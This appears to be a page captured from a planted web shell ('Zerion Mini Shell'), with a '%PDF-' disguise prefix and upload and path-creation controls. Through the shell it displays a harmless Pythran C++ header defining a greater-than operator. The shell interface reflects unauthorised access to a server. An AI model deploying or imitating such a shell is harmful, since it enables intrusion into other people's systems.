%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/lib/python3/dist-packages/pythran/pythonic/operator_/
Upload File :
Create Path :
Current File : //proc/985914/root/lib/python3/dist-packages/pythran/pythonic/operator_/gt.hpp

#ifndef PYTHONIC_OPERATOR_GT_HPP
#define PYTHONIC_OPERATOR_GT_HPP

#include "pythonic/include/operator_/gt.hpp"

#include "pythonic/utils/functor.hpp"

#include <cstring>

PYTHONIC_NS_BEGIN

namespace operator_
{
  template <class A, class B>
  auto gt(A &&a, B &&b) -> decltype(std::forward<A>(a) > std::forward<B>(b))
  {
    return std::forward<A>(a) > std::forward<B>(b);
  }

  bool gt(char const *self, char const *other)
  {
    return strcmp(self, other) > 0;
  }
}
PYTHONIC_NS_END

#endif

Zerion Mini Shell 1.0